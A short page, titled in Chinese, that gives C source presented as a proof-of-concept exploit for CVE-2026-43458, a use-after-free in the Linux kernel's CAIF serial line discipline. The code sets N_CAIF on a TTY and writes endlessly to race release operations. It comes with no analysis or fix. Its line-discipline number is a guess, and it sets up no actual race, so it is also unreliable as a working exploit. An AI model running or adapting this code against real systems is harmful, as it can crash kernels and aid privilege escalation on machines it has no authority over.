CVE-2026-43458 Linux Kernel caif释放后重用漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <termios.h> // PoC for CVE-2026-43458 // This code attempts to trigger the UAF in caif_serial by manipulating TTY line discipline. // Requires a system with CAIF support enabled and appropriate permissions. #define N_CAIF 30 // Example line discipline number, may vary by kernel config int main() { int fd; int ldisc = N_CAIF; char buffer[1024]; // Open a TTY device (e.g., /dev/ttyS0) fd = open("/dev/ttyS0", O_RDWR | O_NOCTTY); if (fd < 0) { perror("open tty failed"); return 1; } // Set the line discipline to N_CAIF to load caif_serial if (ioctl(fd, TIOCSETD, &ldisc) < 0) { perror("ioctl TIOCSETD failed"); close(fd); return 1; } printf("Line discipline set to CAIF. Triggering write path...\n"); // Continuously write to trigger the TX path that calls tty_write_room() // This may race with release operations to trigger the UAF on tty->link while (1) { write(fd, buffer, sizeof(buffer)); } close(fd); return 0; }